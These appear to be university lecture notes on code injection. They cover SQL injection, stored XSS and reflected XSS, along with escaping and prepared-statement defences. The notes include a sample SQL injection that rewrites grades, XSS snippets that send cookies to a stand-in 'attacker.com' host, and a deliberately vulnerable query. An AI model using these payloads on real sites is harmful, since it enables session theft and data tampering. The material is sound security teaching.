Security: Code Injection Attacks
Lecture Notes for CS 142
Fall 2010
John Ousterhout
- Readings for this topic: none.
- The general problem:
- Attacker tricks victim application into executing code designed by
the attacker.
- Happens in situations where code and the data are intermixed
and victim fails to properly escape data values.
SQL Injection
- Suppose your server code generates a SQL query directly,
using input provided by the user from a form field:
advisorName = params[:form][:advisor]
students = Student.find_by_sql("SELECT students.* " +
"FROM students, advisors " +
"WHERE student.advisor_id = advisor.id " +
"AND advisor.name = '" + advisorName + "'")
- Under normal conditions the SQL query will look like this:
SELECT students.* FROM students, advisors
WHERE student.advisor_id = advisor.id
AND advisor.name = 'Jones'
- What if an attacker enters the following name in the form
field:
Jones';
UPDATE grades
SET g.grade = 4.0
FROM grades g, students s
WHERE g.student_id = s.id
AND s.name = 'Jones
- Then the actual query will be:
SELECT students.* FROM students, advisors
WHERE student.advisor_id = advisor.id
AND advisor.name = 'Jones';
UPDATE grades
SET grades.grade = 4.0
FROM students
WHERE grades.student_id = students.id
AND students.name = 'Jones';
- Injection can also be used to extract sensitive information
- Modify existing query to retrieve different information
- Stolen information appears in "normal" Web output
- Solution: must escape special characters in queries:
UPDATE blog
SET message = 'This message isn''t going to be a problem.'
WHERE ...
- Unfortunately, the escaping rules are complex and different
in each database system.
- Solutions in Rails:
- Don't use find_by_sql. Other methods automatically
handle escaping:
User.find_by_name(params[:form][:user])
- Use the Rails substitution mechanism: it will automatically
escape special characters:
Student.find_by_sql("SELECT students.* " +
"FROM students, advisors " +
"WHERE student.advisor_id = advisor.id " +
"AND advisor.name = ?", params[:form][:advisor])
- In other frameworks, use parameterized SQL or
prepared statements:
- Specify a statement in advance, with placeholders for dynamic data
- Execute statement later, providing values for placeholders
- Database library takes care of escaping any special characters
in the values.
- Example (PHP):
$statement = odbc_prepare($connection,
"SELECT * FROM students WHERE advisor = ? AND gpa >= ?;");
odbc_execute($statement, array($advisor, $gpa));
- Example (Java):
statement = connection.prepareStatement(
"SELECT * FROM students WHERE advisor = ? AND gpa >= ?;");
statement.setString(1, advisor);
statement.setString(2, gpa);
ResultSet rs = statement.executeQuery();
Stored XSS
- Many injection attacks are referred to as cross-site scripting
(XSS) attacks.
- Stored XSS: attacker stores attacking code in a victim Web server,
where it gets accessed by victim clients.
- Enabled if the server fails to escape data in template substitution,
e.g.:
...
<div class="blogComment"><%= @comment.message %></div>
...
- Attacker types in a blog comment like the following:
I agree completely with Alice ...
<script>
window.open("http://attacker.com?cookie = " + document.cookie)
</script>
- Even better, create an invisible iframe for the evil URL
so there is no visible sign of the attack.
Reflected XSS
- Suppose server echoes user-supplied data (e.g. search term) and
fails to escape special characters:
...
<h1>Search Results</h1>
Results for <%= params[:searchTerm] %>
...
- Suppose attacker can trick user into submitting a URL with the
following value for the searchTerm query value:
<script>
window.open("http://attacker.com?cookie=" + document.cookie);
</script>
- Allows attacker to steal session info and impersonate user.
- How to get user to submit that URL?
- Step #1: get user to visit attacker site:
- Sponsored advertisement
- Spam email
- Facebook application
- Step #2: HTML provided by attacker contains harmless-looking
link.
- Step #3: user clicks on link, unaware of the actual contents.
- May not even need user's help: attacker HTML can automatically
load the link in an invisible iframe.